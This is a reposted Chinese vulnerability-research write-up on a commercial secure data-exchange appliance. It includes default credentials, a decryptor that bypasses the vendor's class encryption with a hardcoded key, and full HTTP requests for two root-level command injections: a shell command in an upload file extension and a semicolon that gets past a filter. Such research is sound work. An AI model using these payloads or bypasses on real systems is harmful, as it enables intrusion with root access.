网安教育
培养网络安全人才
技术交流、学习咨询
最初拿到的系统是一个vmware虚拟机,系统是Linux
基本信息:
后台管理界面用户名密码:admin/nxg@LL99
操作系统:root / bo%Fn!71、uninxg / lx$zR9ce
根据产品安装文档环境搭建完毕后,手动设置IP地址和DNS:
手工修改 /etc/resolv.conf
1nameserver 114.114.114.114
2nameserver 8.8.8.8
修改 /etc/NetworkManager/NetworkManager.conf 文件,在main部分添加 “dns=none” 选项:
1[main]
2#plugins=ifcfg-rh
3dns=none
网络IP地址配置文件在 /etc/sysconfig/network-scripts 文件夹下:
我添加了两个网卡,其中一个用来供本机访问:
/etc/sysconfig/network-scripts/ifcfg-eth1-1
1HWADDR=00:0C:29:4B:16:B4
2TYPE=Ethernet
3PROXY_METHOD=none
4BROWSER_ONLY=no
5BOOTPROTO=none
6IPADDR=192.168.117.100
7GATEWAY=192.168.117.2
8PREFIX=24
9DNS1=114.114.114.114
10DNS2=8.8.8.8
11DEFROUTE=yes
12IPV4_FAILURE_FATAL=no
13IPV4_DNS_PRIORITY=100
14IPV6INIT=no
15NAME=eth1
16UUID=8a47e710-cadd-49b5-b9b7-33a324c4ab66
17DEVICE=eth1
18ONBOOT=no
观察启动命令行:
1home/leagsoft/SafeDataExchange/jdk/bin/java -Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dlog4j2.formatMsgNoLookups=true -javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0022 -Dignore.endorsed.dirs= -classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar -Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache -Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start
/home/leagsoft/SafeDataExchange/Apache 是Tomcat的安装目录,webapps目录下是部署的应用源代码:
将war包通过ssh拷贝至本地就可以看到整个项目的源代码了。
将war包拷贝到本地通过idea打开,发现关键代码的实现都是空,连spring的控制器都是空,初步怀疑是被加密了,那么它是如何加密的呢?
既然网站可以正常跑起来,那么应该是运行时的某种技术手段实现,观察启动命令行:
1/home/leagsoft/SafeDataExchange/jdk/bin/java
2-Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
3-Dlog4j2.formatMsgNoLookups=true
4-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar
5-Djdk.tls.ephemeralDHKeySize=2048
6-Djava.protocol.handler.pkgs=org.apache.catalina.webresources
7-Dorg.apache.catalina.security.SecurityListener.UMASK=0022
8-Dignore.endorsed.dirs=
9-classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar
10-Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache - Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache
11-Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start
命令行中有一个javaagent引起了我的注意:
1-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar
将lib文件夹拷贝到项目中,观察jar包的结构:
看样子是调用了javassist实现了一种内存补丁技术,找到Agent的入口方法,看看它做了什么:
1//
2// Source code recreated from a .class file by IntelliJ IDEA
3// (powered by Fernflower decompiler)
4//
5
6package com.leagsoft.declass;
7
8import java.lang.instrument.Instrumentation;
9
10public class Agent {
11 public Agent() {
12 }
13
14 public static void premain(String args, Instrumentation inst) throws Exception {
15 CoreAgent.premain(args, inst);
16 }
17}
跟进CoreAgent.premain:
1public class CoreAgent {
2public CoreAgent() {
3}
4
5public static void premain(String args, Instrumentation inst) {
6 if (inst != null) {
7 File file = new File("../../Ini/ec.file");
8 Map<String, String> configMap = ECFileConfig.getConfig();
9 byte[] bytes = IoUtils.readFileToByte(file);
10 byte[] by = EncryptUtils.de(bytes, ((String)configMap.get("pf")).toCharArray(), 1);
11 AgentTransformer tran = new AgentTransformer(EncryptUtils.rsk(new String(by)).toCharArray());
12 inst.addTransformer(tran);
13 }
14
15}
16}
这里可以看到,它是先通过ECFileConfig初始化,然后解密读取Ini/ec.file
跟进ECFileConfig.getConfig():
1public class ECFileConfig {
2 private static Map<String, String> configMap = null;
3
4 public ECFileConfig() {
5 }
6
7 private static void iniConfig() {
8 if (configMap == null) {
9 INIImpl ini = ECFileIni.getIni();
10 configMap = ini.getProperties("ECFile");
11 }
12 }
13
14 public static Map<String, String> getConfig() {
15 iniConfig();
16 return configMap;
17 }
18}
19
20//// ECFileIni.getIni();
21
22public class ECFileIni {
23 private static String file = "../../Ini/ECFile.ini";
24 private static INIImpl self = null;
25
26 static {
27 self = init();
28 }
29
30 public ECFileIni() {
31 }
32
33 private static INIImpl init() {
34 String code = FileEncode.getFileEncode(file);
35 INIImpl iniFile = "asci".equals(code) ? INIUtil.getInstance(file) : INIUtil.getInstance(file, code);
36 return iniFile;
37 }
38
39 public static String getStringProperty(String section, String property) {
40 String rs = self.getStringProperty(section, property);
41 return "null".equals(rs) ? null : rs;
42 }
43
44 public static INIImpl getIni() {
45 return self;
46 }
47}
恰好我在服务器上找到了这个文件 ECFile.ini :
再看看AgentTransformer 的实现:
1public class AgentTransformer implements ClassFileTransformer {
2 private char[] pwd;
3
4public AgentTransformer(char[] pwd) {
5 this.pwd = pwd;
6}
7
8public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain domain, byte[] classBuffer) {
9 if (className != null && domain != null && loader != null) {
10 String projectPath = domain.getCodeSource().getLocation().getPath();
11 projectPath = JarUtils.getRootPath(projectPath);
12 if (StrUtils.isEmpty(projectPath)) {
13 return classBuffer;
14 } else {
15 className = className.replace("/", ".").replace("\", ".");
16 byte[] bytes = JarDecryptor.getInstance().doDecrypt(projectPath, className, this.pwd);
17 return bytes != null && bytes[0] == -54 && bytes[1] == -2 && bytes[2] == -70 && bytes[3] == -66 ? bytes : classBuffer;
18 }
19 } else {
20 return classBuffer;
21 }
22}
AgentTransformer 重写了ClassFileTransformer的transform方法,将每一个class和密码放入JarDecryptor.doDecrypt进行解密,最终返回字节码。
再来看看JarDecryptor.doDecrypt的实现:
通过readEncryptedFile 方法读取META-INF/.classes/ 下的class文件进行解密。
回到文件目录,在META-INF下发现了许多加密的class字节码文件:
这里我通过编写一个类,调用JarDecryptor.doDecrypt对全部class进行了解密:
1import com.leagsoft.declass.util.ECFileConfig;
2import com.leagsoft.declass.util.EncryptUtils;
3import com.leagsoft.declass.util.IoUtils;
4import com.leagsoft.declass.util.StrUtils;
5
6import java.io.File;
7import java.io.FileOutputStream;
8import java.util.Map;
9
10public class Main {
11 private static final String ENCRYPT_PATH = "UniEx/META-INF/.classes/";
12 private static final String DECRYPT_PATH = "UniEx-decode/UniExdecrypt/";
13
14 private static char[] getPassword(){
15 try {
16 File file = new File("UniEx/ec.file");
17 Map<String, String> configMap = ECFileConfig.getConfig();
18 byte[] bytes = IoUtils.readFileToByte(file);
19 String pf = "UniNXG-KUv1N5FQr9NtPWnK5UpJ8nnM3blCH9jYtGoXeo0bsXowOffDnW2o0DaVo41ZblSF0tNow5dPxVn8odAS9l4QxCiSvGTXhbliZF9W";
20 byte[] by = EncryptUtils.de(bytes, pf.toCharArray(), 1);
21 char password[] = EncryptUtils.rsk(new String(by)).toCharArray();
22 System.out.println(password);
23 return password;
24 } catch (Exception e) {
25 System.out.println(e);
26 }
27 return null;
28}
29
30public static void main(String[] args) throws Exception {
31 char password[] = getPassword();
32 File classFiles = new File(ENCRYPT_PATH);
33 File[] fs = classFiles.listFiles();
34 for (File classFile : fs){
35 System.out.println(classFile.getAbsolutePath());
36 File file = new File(ENCRYPT_PATH, classFile.getName());
37 byte[] bytes = IoUtils.readFileToByte(file);
38 if (bytes == null) {
39 return ;
40 } else {
41 char[] pass = StrUtils.merger(new char[][]{password, classFile.getName().toCharArray()});
42 bytes = EncryptUtils.de(bytes, pass, 1);
43 System.out.println("正在解密... " + classFile.getName());
44 try{
45 File outFile = new File(DECRYPT_PATH+ classFile.getName()+".class");
46 if (!outFile.exists()){
47 outFile.createNewFile();
48 }
49 FileOutputStream outputStream = new FileOutputStream(outFile);
50 outputStream.write(bytes);
51 }catch (Exception e){
52 }
53 }
54 }
55}
56}
跑一下Main方法就能将所有的加密class字节码文件还原,大功告成。
修改Tomcat安装目录下bin/catalina.sh 文件,通过定义catalina的配置选项可以在tomcat启动时开启远程调试端口。
修改文件:/home/leagsoft/SafeDataExchange/Apache/bin/catalina.sh
加入内容:
1CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:9999"
然后重启tomcat就可以进行远程调试了。
打开idea,将原本没有方法实现的class替换为已经解密的class,添加远程调试配置:
这里我替换了:
WEB-INF/classes/com/leagsoft/nxg/dlp/controller/FileTrackMarkMessageController.class
添加一个调试配置,点击Edit Configurations:
点击添加按钮,新增一个Remote配置:
填入远程调试的IP地址和端口:
然后在要调试的方法下断点,点击调试按钮,控制台会提示已经连接到目标JVM:
当访问到对应的控制器,并且代码执行时,断点会生效:
通过观察调用栈、局部变量的值可以很方便的帮助我们进行输入输出的判断。
通过审计发现FileTrackMarkMessageController.class中的getUploadFileID 方法调用了Runtime.getRuntime().exec 可能会存在命令执行漏洞。
1public void getUploadFileID(HttpServletRequest request, HttpServletResponse response) throws Exception {
2 List<FileItem> fileList = new ArrayList();
3 ModelAndViewUtil.getMultiParamterMap(request, fileList);
4 String separator = File.separator;
5 File detect = new File(".." + separator + ".." + separator + "Bin");
6 if (!detect.exists()) {
7 detect.mkdirs();
8 }
9
10 JObject jo = new JObject();
11 if (fileList.size() > 0) {
12 String fileID = "";
13 Iterator var8 = fileList.iterator();
14
15 while(var8.hasNext()) {
16 FileItem file = (FileItem)var8.next();
17 String simpleName = SysUtils.getSimpleName(file.getName().replaceAll("\\", "/"));
18 file.write(new File(".." + separator + ".." + separator + "Bin" + separator + simpleName));
19 String postfix = simpleName.substring(simpleName.lastIndexOf(".") + 1, simpleName.length());
20 String comd = ".." + separator + ".." + separator + "Bin" + separator + "ClairDeLune printall " + """ + ".." + separator + ".." + separator + "Bin" + separator + simpleName + """ + " " + postfix;
21 Process p = null;
22 String[] command = new String[]{"/bin/sh", "-c", comd};
23 p = Runtime.getRuntime().exec(command);
24
25 .......
26
27}
我们的输入点是request对象,它被传入了getMultiParamterMap方法,跟进查看:
1public static Map<String, String> getMultiParamterMap(HttpServletRequest request, List<FileItem> fileList) throws FileUploadException {
2 Map<String, String> param = new TreeMap();
3 FileItemFactory factory = new DiskFileItemFactory();
4 ServletFileUpload upload = new ServletFileUpload(factory);
5 List items = null;
6
7 try {
8 items = upload.parseRequest(request);
9 } catch (Exception var10) {
10 LOG.error(var10.getMessage());
11 }
12
13 ......
14 return param;
15}
request 被传入了ServletFileUpload,看来是一个文件上传的数据包。
构造一个文件上传的数据包发送过去调试看看:
1POST /UniEx/fileTrackMarkMessage/getUploadFileID.htm HTTP/1.1
2Host: 192.168.117.100
3Content-Length: 181
4Cache-Control: max-age=0
5Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
6Sec-Ch-Ua-Mobile: ?0
7Sec-Ch-Ua-Platform: "macOS"
8Upgrade-Insecure-Requests: 1
9Cookie: JSESSIONID=5D3B2F3A86C3F73FC8FA267D3D5603D5;
10Referer: https://192.168.49.100/UniEx/login.jsp
11Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymo440JkALdwNUIKs
12User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
13Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
14Sec-Fetch-Site: cross-site
15Sec-Fetch-Mode: navigate
16Sec-Fetch-User: ?1
17Sec-Fetch-Dest: document
18Accept-Encoding: gzip, deflate
19Accept-Language: zh-CN,zh;q=0.9
20Connection: close
21
22------WebKitFormBoundarymo440JkALdwNUIKs
23Content-Disposition: form-data; name="file"; filename="1.png"
24Content-Type: image/png
25
26123
27------WebKitFormBoundarymo440JkALdwNUIKs--
此时局部变量的值:
我发现文件名被带入了/bin/sh -c 意味着文件名也可以作为命令执行,由于前面有进行文件扩展名的获取解析,这个方法会取文件名的最后一个. 作为分割,把扩展名取得后拼接在最后面,最好的命令注入点是文件扩展名,最终我的payload如下:
1file.`touch${IFS}222222`
利用``和${IFS}替代空格 在shell中的特点,可以达到任意命令执行的目的,我还发现它的java服务是以root用户启动的,意味着获取这个命令执行的权限就是最高权限。
com.leagsoft.uex.sysparam.controller.NoticeConfigController.class 中的testNoticeEmailAction方法存在命令注入,在调用JavaShellUtil.executeCommand方法时,将用户输入带入了bash脚本后面,但LeagUtil.filterCmdParams对输入的值进行了过滤替换,不过因为参数没有放入单引号中,可以使用; 对前面的脚本进行闭合,从而绕过限制执行任意命令。
1public void testNoticeEmailAction(HttpServletRequest request, HttpServletResponse response) throws IOException {
2 Map<String, String> emailMap = new HashMap();
3 Map<String, String[]> map = request.getParameterMap();
4 Set<Entry<String, String[]>> set = map.entrySet();
5 Iterator it = set.iterator();
6
7 while(it.hasNext()) {
8 Entry<String, String[]> entry = (Entry)it.next();
9 emailMap.put(entry.getKey(), ((String[])entry.getValue())[0]);
10 }
11
12 String random = (String)emailMap.get("random");
13 String mailPwd = RC4.RC4DecodeForJS((String)emailMap.get("mailSendPwd"), random);
14 emailMap.put("mailSendPwd", mailPwd);
15
16 try {
17 JavaShellUtil.executeCommand("/home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerAddr")) + " " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerPort")), false);
18 log.info("excute shell command : /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh {} {}", emailMap.get("mailServerPort"), emailMap.get("mailServerPort"));
19 } catch (IOException var13) {
20 log.error("excute /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh error", var13);
21 }
22.....
23// LeagUtil.filterCmdParams
24
25public static String filterCmdParams(String cmdParams) {
26 if (StringUtils.isEmpty(cmdParams)) {
27 return cmdParams;
28 } else {
29 String afterParams = cmdParams.replaceAll("`", "");
30 if (!StringUtils.isEmpty(afterParams) && afterParams.contains("$(")) {
31 afterParams = afterParams.replaceAll("\$", "");
32 }
33
34 log.info("before cmdParams:{},after filter cmdParams:{}", cmdParams, afterParams);
35 return afterParams;
36 }
37 }
发送数据包:
1POST /UniEx/noticeConfig/testNoticeEmailAction.htm HTTP/1.1
2Host: 192.168.117.100
3Cache-Control: max-age=0
4Cookie: JSESSIONID=F9DA84D287041E1F8E09234CAA3EAB58;
5Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
6Sec-Ch-Ua-Mobile: ?0
7Sec-Ch-Ua-Platform: "macOS"
8Upgrade-Insecure-Requests: 1
9Origin: null
10User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
11Referer: https://192.168.117.100/UniEx/login.jsp
12Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
13Sec-Fetch-Site: cross-site
14Sec-Fetch-Mode: navigate
15Sec-Fetch-User: ?1
16Sec-Fetch-Dest: document
17Accept-Encoding: gzip, deflate
18Accept-Language: zh-CN,zh;q=0.9
19Connection: close
20Content-Type: application/x-www-form-urlencoded
21Content-Length: 78
22
23random=123&mailSendPwd=123&mailServerAddr=;touch%20/tmp/222&mailServerPort=123
这款产品使用了javassist的动态执行技术,但是java始终还是java,我们只需要hook或者针对它最上层的代码进行研究即可,于是我根据本次漏洞挖掘,编写了一个工具:Rvn0xsy/DumperAnalyze: 通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩,可以做一些破解、加密验证的绕过等操作 (github.com)
通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩,可以做一些破解、加密验证的绕过等操作。
原文链接:https://payloads.online/archivers/2023/09/18/acc369fd-9310-4351-889c-457b12da9c25#48f00ccccb0a48e3a655c5ee59af0ef6
版权声明:著作权归作者所有。如有侵权请联系删除
网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
原文始发于微信公众号(开源聚合网络空间安全研究院):【实战剖析】某安全数据交换系统的漏洞挖掘
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论